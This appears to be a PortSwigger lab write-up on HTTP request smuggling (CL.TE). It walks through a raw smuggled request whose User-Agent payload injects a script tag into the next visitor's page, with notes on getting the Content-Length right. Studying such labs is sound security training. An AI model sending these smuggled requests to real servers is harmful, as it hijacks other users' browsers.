| Field | Details |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | HTTP Request Smuggling — CL.TE + Reflected XSS via User-Agent |
| Difficulty | Practitioner |
| Objective | Smuggle a request that causes the next user's browser to execute alert(1) |
| Note | Switch Burp Repeater to HTTP/1. Disable "Update Content-Length." |
HTTP Request Smuggling — Delivering Reflected XSS¶
Viewing a blog post and inspecting the source reveals the User-Agent is reflected into a hidden input field:
<input required type="hidden" name="userAgent" value="Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0">
The value attribute uses double quotes. Injecting "> closes the attribute and the tag, making room for a script tag — clean XSS vector with no sanitization on the User-Agent header.
We intercept a request to a post, switch to HTTP/1, switch to POST method, and strip unnecessary headers:
POST / HTTP/1.1
Host: 0ad300eb04948291814ffc33002c0071.web-security-academy.net
Cookie: session=WaCSG8D5NMfl0xmaFv8Uo7JNMS3qz8Ap
Content-Length: 8
postId=8
Adding Transfer-Encoding: chunked confirms the CL.TE setup — request goes through cleanly. Now we craft the smuggled request.
The goal: the next user who hits the site gets served the post page where their User-Agent input field contains our XSS payload. Since we're controlling the User-Agent in the smuggled prefix, it's our payload that ends up in their response — not their actual browser string.
POST / HTTP/1.1
Host: 0ad300eb04948291814ffc33002c0071.web-security-academy.net
Cookie: session=WaCSG8D5NMfl0xmaFv8Uo7JNMS3qz8Ap
Content-Length: 74
Transfer-Encoding: chunked
0
GET /post?postId=8 HTTP/1.1
User-Agent: "><script>alert(1)</script>
The front-end reads Content-Length: 74 and forwards everything. The back-end processes the 0 chunk as end of the outer POST and treats the GET /post?postId=8 block as a new incoming request. When the next user's request arrives on the same connection, it gets appended to our smuggled prefix — the response they receive is the post page rendered with our User-Agent injected into the hidden field.
The injected value breaks out of the value attribute like so:
<input required type="hidden" name="userAgent" value=""><script>alert(1)</script>">
The script executes in the victim's browser. Worth noting: Content-Length: 74 has to exactly cover from the start of the body through the end of the User-Agent line in the smuggled request. Everything after 0\r\n\r\n sits in the back-end's buffer waiting to be prefixed to the next request that comes in.
Reflected XSS via User-Agent normally requires a victim to send a request with a malicious user agent string themselves — an attacker can't control someone else's browser headers.
Smuggling removes that limitation entirely. This converts what would be a self-XSS or attacker-only reflected XSS into a stored-like attack that executes in arbitrary users' browsers without any interaction beyond visiting the site.
The alert fires and this will get the lab solved x.x